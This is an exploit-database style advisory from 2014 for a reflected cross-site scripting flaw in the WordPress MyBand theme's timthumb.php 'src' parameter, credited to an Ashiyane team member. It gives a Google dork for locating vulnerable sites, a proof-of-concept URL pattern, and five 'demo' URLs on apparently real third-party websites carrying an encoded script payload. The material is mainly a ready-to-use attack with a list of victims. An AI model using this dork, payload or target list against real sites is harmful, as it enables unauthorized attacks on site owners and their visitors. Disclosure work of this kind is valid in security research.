|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| |-------------------------------------------------------------------------| | [*] Exploit Title: Wordpress MyBand Theme Cross site scripting | | [*] Exploit Author: Ashiyane Digital Security Team | | [*] Date : Date: 2014-08-03 | | [*] Vendor Homepage : http://www.mybandtheme.com | | [*] Google Dork: inurl:wp-content/themes/myband | | [*] Tested on: Windows , Mozila Firefox |-------------------------------------------------------------------------| | [*] Kind: XSS Reflected | | [*] PoC : | | [*] [Localhost]/wordpress/wp-content/themes/myband/timthumb.php?src=[XSS] |-------------------------------------------------------------------------| | [*] Demo: | | [*] http://www.apXpoloss.fr/site/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E | | [*] http://www.siXrusofficial.com/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E | | [*] http://theargXCues.ca/wp-V2/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E | | [*] http://wwXw.acyl.fr/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E | | [*] http://t-rXox.ca/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E | |-------------------------------------------------------------------------| | [*]Discovered By : ACC3SS |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|